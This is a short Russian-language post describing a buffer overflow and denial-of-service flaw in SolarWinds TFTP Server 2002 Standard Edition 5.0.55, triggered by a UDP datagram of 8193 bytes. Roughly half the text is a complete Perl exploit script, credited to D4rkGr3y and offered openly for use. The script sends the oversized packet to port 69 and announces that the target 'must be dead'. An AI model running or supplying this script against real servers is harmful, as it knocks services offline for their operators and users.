TFTP - Trivial File Transfer Protocol. Для взаимодействия с клиентами использует UDP (в отличие от FTP) и, как следствие,
протокол обладает довольно скудными возможностями: не позволяет смотреть содержимое каталогов, перемещаться по ним и т.д. Более подробно см. RFC 1350.
TFTP Server от SolarWinds - один из немногих серверов, предназначенных для передачи данных посредством данного протокола.
Переполнение буфера и отказ от обслуживания происходит при получении сервером длинной UDP-датаграммы, то есть, по простому говоря, длинного запроса.
Эксперименты показали, что "magic number" = 8193 🙂
Т.к. подручными средствами такой запрос никак не сформируешь (даже
телнетом), вот вам эксплоит:
#!/usr/bin/perl
#TFTP Server remote DoS exploit by D4rkGr3y
use IO::Socket;
$host = "vulnerable_host";
$port = "69";
$data = "q";
$num = "8193";
$buf .= $data x $num;
$socket = IO::Socket::INET->new(Proto => "udp") or die "Socket error: $@\n";
$ipaddr = inet_aton($host);
$portaddr = sockaddr_in($port, $ipaddr);
send($socket, $buf, 0, $portaddr) == length($buf) or die "Can't send: $!\n";
print "Now, '$host' must be dead :)\n";
Уязвимость обнаружена в TFTP Server 2002 Standard Edition version 5.0.55.
Уязвимость обнаружил D4rkGr3y.